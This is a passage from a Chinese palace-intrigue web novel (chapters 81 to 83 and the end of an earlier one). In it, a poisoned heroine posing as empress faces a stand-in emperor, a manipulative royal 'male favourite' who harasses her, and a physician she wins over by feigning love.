“虽然有很大的风险,并且也是这样一副丑陋的样子。但是你在皇帝任上的时候,确实可以想做什么就做什么。没人在乎能活几年,除了我之外的大家都挺开心的,也没办法传下什么隐秘,我也不知道啊。” 有人喜欢美女,有人喜欢书法,有人喜欢丹青,有人喜欢乐曲,每个人的政见都各不相同。 真是皇帝轮流做,今天到我家。 这样是怎么维持这王朝的稳定的? 上官梨嗅到了一丝诡异的味道,道:“从什么时候开始的?” “这我怎么知道?“108世慕容微摊手,道,“但我在十几岁的时候就被抓来养着了。” 十几岁。 现在的108世慕容微,虽然被毁了形体,但看起来也有二十多岁的样子。 “那你是怎么知道真正的慕容微还活着的?” 上官梨敏锐道:“你明明见过他!” “我……”108世慕容微的小眼睛转了一转,道,“我虽然没见过他,但皇太后是一个爱孩子的母亲。如果慕容微真的死了,她不可能无动于衷。” “真的吗?”上官梨想想酗酒的皇太后,但又想到慕容华谈起自己的母亲,十分崇敬怀念,信了大半。 “我不会对你有任何威胁。也不问你是为什么要刺杀皇帝。“108世慕容微趁热打铁,“我只要活着,我只想活着,我已经十几年没见过光了,真的别无所求。” “无论你要什么,我都给你,毕竟现在我是权力最大的那个人!” 这桩事处处透着诡异,上官梨反复确认:“你可以做任何决定?明明你只是一个替身。” “是的是的。”108世慕容微疯狂点头,“106世放言说要全琼华城所有的女子都嫁给他。他的愿望不也差点实现了吗?” 一世慕容微怕不是一个真正的疯子。 上官梨很快就做出了决定,道:“这样,你涨一涨我的位分。” “好的大人,只要您饶了我的小命,这些不过洒洒水的事。”108世慕容微很好说话,“我虽然没有阳痿,但我只想明哲保身。” “然后把你们宫中最好的厨子赐给我。”上官梨补充道。 “这个恐怕不能,因为她是被皇太后要去了。”108世慕容微委屈道,“连我想喝她做的汤都不行呢。” “还有一件事,你的真名是什么?我总不能真叫你慕容微108代?”上官梨把金钗歪歪扭扭插回了自己的发间。 “……”108世慕容微的眼睛已经被肥肉挤得看不见了。 肥胖和疤痕是能够模糊人类特征的两样东西,他好像有些忧郁,但这样的忧郁在这张脸上完全看不出来,只会让人觉得可笑:“不重要了,等你真的杀了慕容微,那我就会是唯一的慕容微。” “所以你不必担心我会泄密。” . 因为有了上官梨,谢家的门楣又被光耀,再也不用担心自己老了之后老无所依。 谢氏家主再也不用熬夜画春宫图努力了,因为上官梨直接被顶格提拔成了皇后。 除非谢氏犯下欺君罔上的大罪,否则这一代可以安心继续选育最优品种了。 对此,上官梨关心的事情只有一件。 “答应你的事已经做到了,解药呢?” 谢骊被召入宫中,含含糊糊、扭扭捏捏地说道:“其实你根本就没有中毒,我唬你的。” “什么?!” “不可能。”上官梨皱眉道,“现在我已经为你们做到这种地步,你还是不愿意相信我吗?” “只有你自己蠢,才会相信我!”谢骊这种没有心眼子的人是经不住质疑的,嚷嚷道,“我说没有就没有,多亏你为我争取的时间,我马上就要结亲离开琼华,谢家的一切都再也不用我管。我骗你作甚?” “那我现在胸闷气短,气力不继。”上官梨怀疑道,“不是你,到底是谁给我下的毒?” 上官梨眼下有着淡淡的乌青,原本谢骊以为她是休息不足。 而她现在连手臂上的血管颜色也变得深了起来,显得有些病态,明显是长期中毒的征兆。 谢骊也傻眼了,道:“我,我不知道。” “你知道我们现在是在一条船上吧?” 现在轮到上官梨来威胁谢骊了。 “太医院,你去太医院啊!”谢骊也犟了起来,道,“你去仔细查查,若是真的是我下的毒,那我的一条命就赔给你好了!” 上官梨要谢骊的命有什么用,皱眉道:“太医院刚给我请过平安脉。那时未查出问题,我还以为是你下的毒比较少见,毕竟你是琼华谢氏。” 这简直难以反驳。 二人对视半晌,谢骊蹦出一句:“你等着,我去给你请人来!太医院不过是一帮废物!” 谢骊信誓旦旦地走了,三日后,拿着一张上面写着10001的号码牌来了。 预期就诊时间,29天后。 上官梨:“......” “你不是谢厌的亲妹妹吗?”上官梨木然半晌,看向谢骊。 “谢厌有7个亲姐妹、20个堂姐妹、30个表姐妹。”谢骊也很抓狂,“他,他根本不认识我呀!” 上官梨已经认清了谢骊此人的真实面目,一个被宠坏了的废物小点心。 “如果我因为此事而死掉,我一定留下遗旨说要你们陪葬。”上官梨幽幽道,“快去找你娘哭去吧。” 这都是一些什么事? 谢骊走后,上官梨脱力地倒在阴沉木躺椅上,这椅子有种诡异的香味,但是躺起来很舒服,可以随意晃动,并不会发出恼人的吱呀声响。 大秉的皇宫比大阜的皇宫无趣多了。 这里明明人更多更热闹,但是却一点也不熟络,路过的每个人看向她的眼神都是忌惮的,或是怜悯的。 或许皇宫本就该这么无趣,只是上官梨那时是自由的。 “太皇太后驾临──” ? 上官梨反应了两秒钟,才猛地从椅子上弹起来。 皇太后日日在宫中饮酒,不见世事。 皇后之位辗转换过十几次人,她一次也没有在乎过。 怎么这次突然在乎? 最最重要的是,上官梨曾在她宫中酒醉,她认得上官梨的脸。 上官梨刚把帷帽扣到自己头上,太皇太后已经迈了进来,她依然雍容华贵,光芒四射,身上还有未散 尽的酒香。 小院中脚步声纷杂,她的架势来得很大。 上官梨急忙行礼,祈祷她并没有发现。 她已经换了崭新的衣着,也特意改了自己的一些习惯性动作。 “好久不见呐,梨儿。” 太后啧啧称奇,往口中灌了一口酒,挥手示意侍女退下,在上官梨警惕的目光中,哈哈大笑,道:“你我能有如此奇遇,必然是上天的缘分,来,饮了这杯!” 这人真的还清醒吗? “你已知我为梨儿。”上官梨便也不推辞,接过她手中小坛,痛饮了一口,麦芽的醇香涌入口腔。 她道:“便知我不是梨儿。怎么不叫人来抓住我,杀了我?” “我怎么忍心呢?”太皇太后笑道,“在这宫中太寂寞,我连个喝酒的人都没有。我很喜欢你,你来陪我吧。” “我姓上官。”上官梨平静道。 梨儿是个常见的名字,但上官梨人人都知道是谁。 “果然。若你能杀掉我儿,也是你的本事。”太皇太后自来熟地在那躺椅上躺下,又闷了一口酒,喃喃道,“我恨不得从未生过他。你不会想象到在什么情况下,有一个母亲希望杀掉自己的孩子。” “像你这样的人也会有烦恼吗?”上官梨把茶杯递过去,皇太后给她倒了一杯。 “生活不易呀。” 皇太后忧郁地叹了口气,美人迟暮总是让人心痛的。 但这份忧郁仅仅迟疑了片刻,这个疯子皇太后又开始笑起来,道:“不想这些伤心事。为了庆祝我的儿子这么喜欢你。我给你带了点礼物,放在你的院中了。好好享受吧,千万不可推辞。” “来人,取酒来!” 上官梨不知道这人在想什么,反正皇太后若是要杀她,她现在身中剧毒,总归是一合的事。 皇太后不杀她,邀请她饮酒,她便饮酒又有什么不好? 但她酒量还是一样的浅。 不过十几杯,便已经醉到不省人事,伏在桌边,漂亮得像一幅美人图。 太皇太后独自饮酒。 她眼中的痛楚并非假的,但她的行为如此放荡不羁也不是假的。 大约只有她自己知道她心中在想什么。 把上官梨灌醉了,她许久不用的良心隐隐作痛,更是没眼看院中穿得风/骚的慕容熙,捂着眼睛道:“摆驾回宫!” . 上官梨是在轻柔的抚摸中醒来的。 一双手轻轻按揉着她的头顶的穴位,缓解着她醉酒的不适,身上的味道很好闻。 也说不清是什么味道,有些熟悉,像是沐浴焚香后留下来的。 大秉的侍女何时这么贴心了? 上官梨困惑地睁开眼。 入目的却是男宠那张一看就不是正经人的脸。 ......上官梨揉了揉眼睛。 慕容熙贴心道:“大人,你醒啦?” 这种时刻给上官梨的感受,仿佛像时空错位,仿佛像梦还没醒,仿佛像脑子坏了。大脑分析了无数个可能,最后千言万语凝成一句话: “你怎么在此处?” “太皇太后赏给大人100个男宠,我是其中之一。” 慕容熙带着十分的自信和自傲说道: “若是大人不想要我,还有九十九个可以挑选。不过,我有自信可以从这百人中脱颖而出!” 上官梨觉得自己真是活到头了。 81. 第81章 轻若如鸿毛 “这是慕容氏的传统吗?” 上官梨已经感觉麻木到甚至有一丝习惯了。 院中男子高矮胖瘦各不相同,气质也迥异,整整齐齐地站在院中,像是在等待班主任点名一般。 “前面是不是有什么陷阱在等着我?”上官梨现在已经明白这种套路了。 慕容熙低低地笑了起来:“不,大人,绝对没有,你可以要求我做任何事,不必付出任何代价。” 他的皮相绝对是一等一的好,眼波流转,鼻梁高挺,散发出一种摄人心魄的鬼魅气息。 指尖轻轻碰到上官梨脸侧的皮肤,但是略显粗糙的指腹将她的皮肤刮得有些刺痛。 上官梨叹气,木然道:“那就去把地扫了,衣服洗了。” “至于外面那些人,让他们给我把衣服穿好了,这么冷的天穿这么少我看着就冷。” “然后......”上官梨沉吟了一番,不知道该怎么处置这帮男宠。说到底,为什么皇后需要处置男宠啊? 她大手一挥,全发配了,道:“去给我伺候皇上吧。” 相信108世慕容微看到有这么多帮手,一定会开心的。 慕容熙仿佛早已知晓上官梨会是这种反应,并无埋怨,满口答应下来。 他真的揽下了侍女的活计,高高兴兴地去把衣服晾了,把地扫了,把饭做了,把枕头拍松,殷勤得甚至把窗户纸都换了一通。 在晚上睡觉前,他甚至问上官梨需不需要哄睡,他可以唱摇篮曲,也可以提供按摩服务。 如果这人做家政,一定可以做到金牌。 这实在是太周到了,上官梨只需要一点的肢体动作,他就能立刻明白上官梨想要什么。 有一种他扫过一眼,整个人的心思就全被摸透的感觉。这反而让上官梨感受到了非常的惊悚。 大抵是上官梨见过的这样的人,都是从来不会屈居人下的。 而这人明明许多次有离开的机会,却依然回来,就立志要当男宠头牌。不得不阴谋论,他一定是想要得到更重要的东西。 “我的目的是什么?” 慕容熙轻轻捏着上官梨的肩膀,注视着女子因为中毒而苍白的皮肤,眸色深深,略显惊讶地问道。 上官梨才注意到,自己恍惚间已经把问题说了出来。最近她恍惚的时间越来越久,这毒已经不能再拖。 “我要得到你的心。”慕容熙甜甜蜜蜜地说。 “我是认真的!” “我也是认真的。”慕容熙轻柔地捏着女子的肩背,用着一种让上官梨起鸡皮疙瘩的语调,“这世界上最难的事情,就是得到一个人的心。” “尤其是像您这样品德高贵的非凡女子的心。” “这比攻城还要难,是我的毕生之所向。” 破案了,原来是恋爱脑。 那一下子就可以解释得通了。 这种病症的出现,不论学历,不论出身,正常人是没有办法理解的。 恋爱脑只能搭配另一个恋爱脑,否则这对正常人来说是一种折磨。 上官梨决定明天也把他打发去伺候陛下好了。 上官梨昏昏欲睡间,忽然听到耳侧低声细语,慕容熙在她耳旁说:“大人,告诉你一个秘密吧。我现在其实可以强/迫你。亲吻您漂亮的睫毛,把您漂亮的肌肤淋上油脂肆意揉弄。” “而你现在并没有力气反抗,对吧?” 上官梨从来没有碰见过这样的人。 她结过亲的人,素质比较高,对待她很珍重。 所以她愣了几秒才意识到,这是性/骚/扰。 不是,这人有病吧? 上官梨是行动派,哪怕她此时身中莫名毒素,力气不足,也定然会要那人付出代价。 “你要试试吗?”朦胧不清的夜色下,上官梨侧躺在床榻上,身形的曲线像一座优美起伏的山。 她打算慕容熙胆敢凑近一步,就用母亲生出来的这口尖锐的牙齿,咬断他的手指、脖颈或者手臂上的一块肉什么的。 慕容熙又笑了,他有一种很强的洞察人心的本事,毕竟他才是真的身居高位的人,一眼就能够扫明白旁人的小心思如何。 他一手扯开领口,露出颈侧大片白皙而同样苍白的皮肤,笑道:“大人要吃掉我吗?” 他已经察觉到了上官梨的愤怒,在此时的吃意味着红色,而不是黄色。 上官梨猛地意识到,如果她想要,此人真的会把自己的肉割下来喂她,说不定还很享受。 “我没有尝过我自己的肉,不过喂养我的食物品质很不错,那我的味道应该也很不错。” 慕容熙凑近了,上官梨又闻到了他身上那股焚香的味道。慕容熙眨眨眼睛,鼓励又骄傲道:“尝尝看?我认为我自己也算是一道顶级的美味佳肴。” 上官梨的表情只能用扭曲来形容:“......” 她败了。 如果她是一只猫,她此时浑身的毛发都应该炸起来了。 人是没有办法和疯子高谈阔论的! 她此时想求慕容熙,还是谈一些黄色的事情吧,不要把场面弄得这么变态,这么糟糕。 好想慕容轻啊。 慕容熙哼着歌走后,上官梨瞪着两个眼睛看着天花板。 没有慕容轻这个大秉人中唯一的正常人在身边,她现在觉得自己好像在地狱一般。 这男宠长得和人很像,但好像有点不太像人了。 . 此夜辗转反侧,不知是否是因熬夜引起毒发。第二日上官梨发现自己愈发手脚无力,几乎虚弱得握不住筷子。 好在这个男宠,虽然内核有点不是太像人类了,但伺候人的功夫还是一等一的。 上官梨靠在他的怀中,慕容熙揽着她,把味道极好的参汤一勺一勺送入她口中。 她从来没有这样过,郁闷羞耻的要死。但现在个人感情不得不压下,紧盯着双眉紧皱的老太医:“我究竟是怎么了?” 老太医不敢抬头,抖抖抖抖抖抖抖:“这这,恕老朽愚钝,脉象……脉象一切正常。” 上官梨:? 雪白的腕子上,血管的青黑极其明显。只要不是瞎子,都能看出来上官梨中毒极深。 慕容熙轻轻笑了,说:“大人,莫要为难院判了。或许是极度少见的病症,连太医院都没有先例。” “对,是这样的。”院判接过话茬,“还容老朽回去翻阅医书,再行定夺。” 上官梨疑窦丛生,但此时气力不继,眼皮直打架。 慕容熙这一个男宠居然敢僭越抚摸她丝绸般的长发,上官梨也无力反抗,昏昏沉沉的又睡过去了。 老院判连忙收拾药箱,离开了这座宫殿。 上官梨睡着的样子很安静,像个漂亮的大号娃娃。慕容熙把她的黑发打理得一丝不苟,给她换上漂亮的寝衣,摆成一个舒服的姿势,放在床上。 这种完全能掌控一个人人生的感觉,是多 么美好啊! 慕容熙遗憾地在她床侧道:“怎么你就不愿意掌控我的人生呢?” . 又是三四个时辰过去,上官梨好不容易醒来,仍然是虚弱无比。 慕容熙殷勤地过来给她擦洗脸颊,上官梨挥开了他的手,一双眼睛黑白分明:“你给我下的毒吗?!” 慕容熙眼睛略略睁大了些,似乎有些惊讶,有些伤心,道: “你怎么会如此猜测?我对大人是一片真心呀。” “慕容轻告诉我,男人在我身边一定是有所图。”上官梨信誓旦旦道,“你是不是得不到我,就一定要毁掉我那种类型?我要怎么样才能让你不再执着于我?” 慕容熙笑了,这女子真是可爱天真,猜测也和真相相差甚远。 “我绝无此意。”慕容熙的语气依然如此甜蜜,但在上官梨听来,却有一种阴冷的感觉缠绕其中,“这毒绝对不会对大人的身体造成任何损害。只会让你暂时无法逃跑而已。” “毕竟我只是一介男宠,抓不到您。” “一介男宠可以威胁太医吗?怎么样你才会愿意给我解毒?” “等您爱上我。”慕容熙认认真真道。 上官梨简直要抓狂了。 如果他要一些别的东西,哪怕是天上的星星,上官梨用尽毕生所学,也不是不能让他登上去看看。 但非要这种虚无缥缈的东西,上官梨自己都无能为力,干巴巴道:“我现在爱上你了。” 慕容熙笑了一下,冷酷地说:“你撒谎。” 上官梨绞尽脑汁地在自己贫瘠的大脑中搜刮,怎么样才能算爱上一个人? 这感觉太虚无缥缈了,她不知道自己是怎么产生的那种心脏狂跳、肾上腺素加速分泌的时刻,但绝对与现在的感觉相差甚远。 上官梨没有办法欺骗自己,她也没有办法欺骗过格外敏锐的慕容熙。 “你给我个痛快吧。”上官梨绝望道。 慕容熙绝对没有让上官梨死掉的意思。他只端过桌上的汤盏,里面的粥发出极其诱人的香味,他吹凉了,让上官梨靠在他的怀中,能够听到他的心跳的距离,然后再喂到上官梨嘴边。 上官梨也没有抵死不从的意思,大不了就是毒死她嘛。至少也做个饱死鬼。 一个真敢喂,一个真敢吃,空气中弥漫着诡异的氛围。 这粥实在太好吃,上官梨吃着吃着就回忆起了自己的一生,绝对是命运开的巨大的玩笑。上官梨悲从中来,终于发自肺腑的道: “为什么是我啊?” “只有您是特别的。”慕容熙揉了揉她的腹部,确定她已经吃饱了,“没关系,我很有耐心。我坚信你会有被我打动的那一天的!” 上官梨对自己没信心! 这男宠到底是什么人?这是人吗? 没关系,上官梨痛定思痛。 什么东西都是可以学的!只要有好的老师和踏实肯干的学生,没有什么是学不会的! . “这就是你来找我的原因?” “对。”上官梨喝茶,浓密的眼睫在面上打出深深的阴影,“他不是男宠吧,到底是谁?” 皇太后绝望地捂住脸。 她的一生也是过得极其跌宕起伏。 听完上官梨说的话,她的走马灯也差点出来了。她现在非常后悔玩弄所有人的感情。 如果她当一个老老实实的皇后,慕容熙这种讨债鬼就不会出生了! 82. 第82章 而予独爱莲 “他是我的孩子。” 太皇太后眼角已然有了细纹,注视着杯中微微晃动的酒液,仿佛承认这件事是一件让她非常难以启齿的事情。 上官梨十分理解,道:“如果我的孩子将来梦想是成为别人男宠,我大概也会非常难以启齿。” “您知道我是来杀人的。”上官梨苍白的手指抓住皇太后的袖口,双眼死死地盯着女人,“是什么让您那么想杀了他?为什么他不直接杀了我?” 秋风寒凉,上官梨的指尖冰得刺骨。 她不相信有人会耽于情爱,甚至愿意把自己的生命都投入进去。 “你根本不明白。” 皇太后平静了下来,道:“这是他惯用的侮辱人的方式。” “如果只是死亡,对你、对我、对他来说,都太轻松了。慕容熙这家伙会毁了你,比死亡更难受。” 皇太后换了一个话题,说道:“你知道慕容微小时候的梦想是什么吗?” 上官梨想象不出来,慕容微这个人的形象已经逐渐变成了拼凑出来的符号,她根本没有遇见过真正的本人,于是便笼统地猜测道:“成为一代明君?” “他现在成为了吗?”皇太后冷笑了一声。 上官梨沉吟了一番,拼凑版慕容微在外人的眼里是残暴而阴晴不定的。于是她老实道:“没有,这是慕容熙干的吗?” “不,他成为了。”皇太后又闷了一口酒,烈酒入喉,灼烧食道的疼痛让她清醒,酒精又让她不清醒,她在昏昏沉沉中喃喃,“难道懦弱的君主就是好君主吗?大秉现在强盛到可以击败你的国家,而在老皇帝手里,他却被大阜连连击退。慕容微已经是一个足以青史留名的君主了。” “可是......” 皇太后截住上官梨的话茬,残酷地道:“这不是慕容微做的,至少不是他本人做的。我不知道他被关在哪里,但指挥大秉打下大阜的,绝不是我的亲生儿子慕容微。而是某一个慕容熙选中的替代品。” “我的亲生儿子慕容微是一个普通的平凡的孩子。如果他真的一直在任皇帝,绝不可能做出这样的壮举。” “他还活着,我知道他还活着。” “所以他亲眼看到自己的替代品做的比自己还好,这是多么残酷的侮辱啊!” 上官梨:“......” 她被镇住了。 这是怎样变态的心灵才能想出这样的方式! 她把茶杯伸了过去,不顾自己中毒,给自己也倒上了一满杯闷了压压惊。 皇太后又饮了一口酒,从这个母亲眼中,能看到忌惮、嫌弃、憎恨和一丝没有办法的溺爱混在一起,她缓缓道:“我不知道他对你哪里感兴趣。但是被他感兴趣的下场一般都很惨。如果你之后侥幸活下来,我很乐意每天和你一同饮酒。” · 早就知道,在这样糟烂的环境下,将大秉养成这个样子的,不可能是什么开明的君主。 但这也太烂了。 上官梨带着侍女在自己宫殿外蹲了半晌,秋风萧瑟,她头一次生出打退堂鼓的念头。 谢骊按约定之时入了宫,困惑地看着上官梨,道:“你怎......” “闭嘴别说话。”上官梨截住她的话头,往她手中塞了两封信,道,“一封给你,另一封想办法送到一个名叫慕容轻的人手中。然后现在立刻马上离开。” “......你干嘛呀?”谢骊被匆匆喝来,又被匆匆喝去,一头雾水,“我虽然欠你的,但也不是你的奴仆吧?你不要我爹熬夜精心挑选的药材了吗?你喝喝试试,说不定能好呢......” 听到身后传来熟悉的脚步声,上官梨猛地一推她的肩,道:“你只管听我的就好。” 谢骊气冲冲地走远。 上官梨的肩膀则被亲昵地揽住了,慕容熙身上的体温偏高,哪怕此时穿的花枝招展,暴露无比,难以入眼。 他顺势搂上上官梨的脖颈,指尖轻轻地摩挲着她的肌肤,轻笑道:“大人怎么不邀请朋友进来坐坐?” “慕容熙......” 上官梨不熟悉这样亲昵的姿态,额角简直要蹦出青筋,一想到自己要与这种人虚与委蛇,更加无法接受。 她想不开了,想直接跟他拼命。 慕容熙这狗东西一定是已经预料到了,才给她下毒,让她丧失反抗能力,连匕首都拔不出来。 上官梨一整日都在试图杀他,用筷子的尖端、簪子的尖端、桌上的菜刀,由于中毒的缘故,没有一次能成功。 慕容熙对于她的反抗,甚至是保持着一种鼓励的态度。虽然身份已然暴露,却还是仍然做着男宠的事情,并且看上去十分乐意的样子。 给上官梨弄得愈发毛骨悚然。 上官梨伏在床上,绝望地被按摩。她其实一点也不想被按,到底为什么她才会被按? “你到底在我身上图谋什么?”上官梨被按得吱哇乱叫,脑中脑补出了十分可怕的剧情,愤怒地说,“侮辱亡国的皇后让你那么开心吗?” 慕容熙的语调依然是甜甜蜜蜜地,仿佛他真的从戏弄上官梨的过程中获得了幸福一样:“不,我的目的只有一个。” “就是获得你的心啊。” 难道穿越者的心脏长得和别人不一样吗? 上官梨头脑风暴间,慕容熙已经吹灭了蜡烛,微笑道:“快睡吧,夜深了,不乖的孩子会不舒服哦。” · 事情不能再这么下去了。 毒必须得解。否则她会永远在慕容熙的威胁下,无法翻身。 上官梨已经在信中交代谢骊,无论想什么办法,一定要给她请个靠谱的大夫来。但是谢骊第二日还是两手空空地来了。 “怎么办?谢厌当年便是向忘忧药馆投诚来换取了自己的自由。” 谢骊无助地看向上官梨:“他放言说,除非我爹娘在他面前跪下,否则绝对不会帮谢氏任何忙。” “......” 这到底是个什么人?上官梨想,当初不该心软,就应该让琼华炸成天边的一朵烟花。 “琼华又不是只有他一个大夫。”谢骊是个被宠坏了的废物点心,上官梨早就应该知道她办不了任何事,耐心道,“其他大夫呢?” “我们家已然有一个出名的大夫,若是再去向别的人求助,不就说我 们家的人学艺不精吗?多丢面子呀?”谢骊懵懂地看着她,在她这里,从一开始就没有第二个选项。 “?”上官梨品味出了其中的bug,“谢厌不愿意给你们看诊,那你们生病了怎么办?” “忍着呀。”谢骊骄傲地说,“我们身体好着呢!只有能自然活到90岁的人才能做我的父母、兄弟姐妹、公婆、祖父祖母。” “行。”上官梨慈爱地说,她的大脑已经麻木了,自动适应了这里的狗屁逻辑,“你们活得好像我们那里后院的宠物一样。我不管你是用什么办法,是下跪还是欺骗,总之我的毒不能再拖了。” “我若是死了,你不还得接替我吗?” 谢骊抽抽噎噎地回去了。 果然人逼一逼就是有潜力的。上官梨又坐立不安地忍了慕容熙七八日,谢厌终于松口。 谢骊眼神飘忽地看着上官梨:“我娘想的主意。总之,你须得说些谎话。” 上官梨有些不妙的预感。 “什么?你到底用了什么话骗他?” “按着我娘教的,给他递了一封信。说皇后对他芳心暗许,请他一定要来私通败坏谢氏和皇室两家门楣,做千古罪人,享万世骂名。” 这到底为什么他会同意?! 上官梨眼前一黑:“你还记得我顶的是你的身份吗?” 上官梨一天到晚就面对这种事情,依然每天都能有新的匪夷所思,她道:“他怎么敢答应的?理论上来说,我不是他亲妹妹吗?” 谢骊挺高兴的,根本没有听上官梨在说什么,整个人沉浸在飘飘然里,开朗地道:“谁知道呢?大概他有病吧!我娘已经给我找了一个好人家,我过几日也要出嫁了。这是我们最后一次见面,下次你寄信到家中,便是直接与我娘对话。从此往后,无论你做出什么样的行为,都与我无关了!” 真是乱七八糟。 上官梨捂住额头,简直不敢想自己要怎么办,千言万语,最后道:“虽然你人挺烂的,你家事做的也还挺缺德的,但还是祝福你嫁得如意郎君。” · 上官梨宫中发生的事,现在没有办法瞒过慕容熙。 慕容熙仅仅是在上官梨旁边,上官梨就感受到了那种无所不在的挤压感,这种感觉会令人发疯的。 那种毫无隐私、毫无秘密的感觉,没人能承受得住。 上官梨已经想好了若是慕容熙发难的对策。 这人的要求是她的真心,大不了上官梨剖一下给他看。 这样总能给自己看到正经的大夫。 没想到慕容熙来拷问上官梨的第一句话却是:“大人,你怎么要出轨呢?” 上官梨十年前的梦想是希望自己长大后能够聊一些严肃而正经的事,为地球的存亡而奋斗,为未来的梦想而努力。 绝对不会是在这里跟变态掰扯这些有的没的。 “太好了,你终于出轨了。”慕容熙殷勤地凑上来说,“你以为我会生气吗?不,我在为你开心,你终于迈出了成为大人的这一步!没有出轨的爱情能算爱情吗?” “等你见识到别的男人是多么的刻板和无趣,就会真正的爱上我的。” 83. 第83章 秋风不解意 谢骊的一通胡说八道,居然起到了效果。 慕容熙居然就这么把谢厌放进了宫,没有任何要打扰他们的意思,也不怕谢厌真的给上官梨解了毒,他要死到临头。 这宫殿用的时间久了,色彩有些剥落而暗淡。谢厌与最初见到他时别无二致,一副玩世不恭的样子,不知道内心在想什么。 上官梨许久不见谢厌,生怕他认出自己来,特意改换了打扮。 她完全是多虑了,因为在谢厌眼中,所有的女人都长一个样,大约只有有命的和没命的之分。 他不甚规矩的行礼过后,就坐在了上官梨对面,上下打量着这个声称要和他私通的女人。 上官梨不知道要如何开口,于是尴尬地笑了下,夹得甜甜蜜蜜地说:“你好?” 氛围莫名尴尬,上官梨好想慕容轻啊。 “哈。”谢厌笑了,他一眼便看出眼前这个女子身中剧毒,说,“大人身中剧毒,格外阴损呐。想来请我也非真心,谢某还是不打扰了。” “你等等!” 上官梨大脑的CPU在疯狂地转动。 既然谢厌来了,那就意味着他真的想和她私通。 谢厌现在要走,就意味着谢厌看出来她其实并不想和他私通。 那么上官梨要让谢厌心甘情愿地帮她解毒,就得让谢厌真心地相信上官梨爱他。 怎么总是扯到这种爱不爱的事情?上官梨一窍不通啊!自己的事情从来都没有搞明白过,对于勾引男人,上官梨也从来不知道怎么做。 她只要站在那里,就会有人跟她结婚啊? 上官梨挤了半天,蹦出一句人机一样的:“我心悦你!” 谢厌的眉毛挑得更高了,却一时半会没有了离开的意思,抱臂说:“真的?” “真的。”上官梨疯狂点头,用自己聪明的大脑在内心默默编撰了许多小作文,打算若是谢厌问起,便把这心路历程讲给他听。 “那如果我变成蟑螂了,你还会喜欢我吗?”谢厌不想听她的小作文,冷酷地说。 上官梨:? 上官梨最怕虫子了,尤其是大个的、会飞的、还会咬人的虫子。她声音加上了一丝迟疑:“一定要变吗?” 谢厌坚定地点了点头。 “我会想办法让你变回来。”上官梨沉思许久,富有科学思维而委婉地说,“毕竟你也不想变成一辈子的蟑螂吧?” 谢厌犀利地说:“那你为什么不选择一同变成蟑螂呢?妹妹,你和其他人一样,太高高在上了,看不起我。” 上官梨:“......” 当头一个大帽子扣下来,上官梨只想喊冤。 如果谢厌放到现代的婚恋市场上,将是最讨厌的那种人。哦,不是说如果王宇航、王怀璟、慕容熙放到现代的标准上,就会是好人的意思。 上官梨能赶上这些个奇葩,她此生做的孽都一笔勾销。 上官梨深吸一口气,认真了,说:“我虽然不知道你为什么想变成蟑螂,但是我喜欢的人不能是蟑螂。” “这东西整天在剩饭剩菜和阴暗的角落里钻来钻去。我喜欢的人怎么能变得那么可怜,怎么能一直那么可怜呢?” “谁会让自己喜欢的人过这样的生活?你问这样的问题,是在侮辱我的本事吗?” 谢厌若有所思,勾唇道:“并无此意。是我僭越了。” 上官梨刚松了口气,就听谢厌话锋一转道: “那如果我变成个残废,你依旧会心悦我吗?” 上官梨:“......” 没完了还! 残废至少比蟑螂好得多。如果四肢残废,上官梨可以做假肢。如果是五感残废,上官梨有敏锐的感觉和伶俐的口舌。 上官梨想了想,痛快地答应了: “只要是我选定的人,我怎么会变心呢?” “那如果我毁容了呢?你依然会做出这样的选择吗?” 这就更好办了。上官梨不是在乎外表的人,更加痛快地说: “这不是一样吗?” “如果我身无分文?” “我来挣。” “如果我碌碌无为?” “平凡人就很好。” “......” 谢厌终于住了嘴,上官梨由衷地希望他是放弃了追问,并且期待于他提出要求,比起回答送命题,还是牺牲一下色相比较不折磨人。 成串的东珠垂下来,将上官梨的面孔模糊在一圈一圈的圆中。感谢大秉的传统,得以将心思叵测的二人安分地困在同一屋内。 就听谢厌道: “我不信。” 上官梨:“......” 说真的,她有点力竭了。 谢厌伸出手,掌心朝上。上官梨莫名地看着他,欣喜地认为他终于索要贿赂了,准备掏荷包。 金子递到谢厌面前。他脸上的表情也是一个大大的问号,不得不直白地开口:“手腕给我。” 他的指腹扣上上官梨的手腕,搭在脉搏间,上官梨却觉得像是脖颈被人掐住了一般。他直直地看向上官梨,眼神中并没有开玩笑的意思: “你的心跳是无法说谎的。” “如果你胆敢愚弄我,我就给你下更加猛烈的毒。” 早知道当年学医了! 上官梨在心中怒骂,依然不得不摆出一副此心青天可鉴的样子,委屈地夹道:“爱情不是只需要郎有情妾有意就行了吗?” “如果我罪行累累,与你有血海深仇呢?” 上官梨的心脏剧烈地跳动了起来。 一瞬间,她以为是谢厌看穿了她拙劣的伪装。不过是对这徒劳挣扎的皇后最后的嘲笑。 但很快她就意识到,谢厌并非有意所为。他在说他的经历,也是在说他自己。上官梨不过是他人生中同样血债累累的一笔。 上官梨的答案会是杀了他。 但是。 上官梨还是那干净到足以惩罚别人的神女吗? 她的功过与是非,算得清吗? 心脏依然剧烈跳动着,快得不寻常。 上官梨是一个很擅长从过去的经历中汲取经验的女子。谢厌此时想听到的是什么呢?他真的能从心跳中判断出上官梨是否在撒谎吗? 上官梨只沉默了一瞬,思绪已经过去万千。 “我会杀你。或许是几百次、几千次。” “如果等到我们度过了足够多的时间,我依然没有 杀掉你,而你在我心目中仍然重要。” “等到白发苍苍的时候,我们之间的血海已经被无数的轮回所荡平,那时候我或许就会放弃了吧?” 上官梨自己也不知道自己在说什么。 这不肯定完蛋吗? 她虽然情商欠奉,恋爱经验全都不能用来参考。但也是知道,如果恋爱中另一半提要求,肯定是要无条件满足的。 心中十分悲凉,打算联系上慕容轻之后再做打算。 却感觉手腕一痛。 谢厌抓着她的手,似乎在颤抖,已经失却了控制力道的余裕。再抬眼望去,谢厌一手捂着眼睛,似乎是在流泪。 上官梨:?! 玩弄别人感情会给他这么大刺激吗? 难道纵横沙场的谢厌小将军,在医书上苦读的谢厌神医,是一个这么脆弱的人吗? 上官梨表情空白,简直不知道自己该如何反应,道:“你怎么了?突然发作什么病了吗?” “三日后,我将配好解药,为娘娘送来。”谢厌连敬语都用上了,语气格外珍重道,“我竟不知娘娘用情如此之深,是我盲目,刚愎自用。” 我用在哪了? 他到底为什么这么感动? 上官梨尴尬而无措地坐在旁边,仿佛回到了不小心惹哭同学的幼儿园时期,早熟的孩子就只能这样拿帕子给他拭泪:“男儿有泪不轻弹,我求你了,你别哭了。” 至少事情有进展就好。 上官梨发挥了100%的演技,许下了许多连自己也记不得的承诺,终于是把谢厌哄走了,只觉得身心俱疲。 · 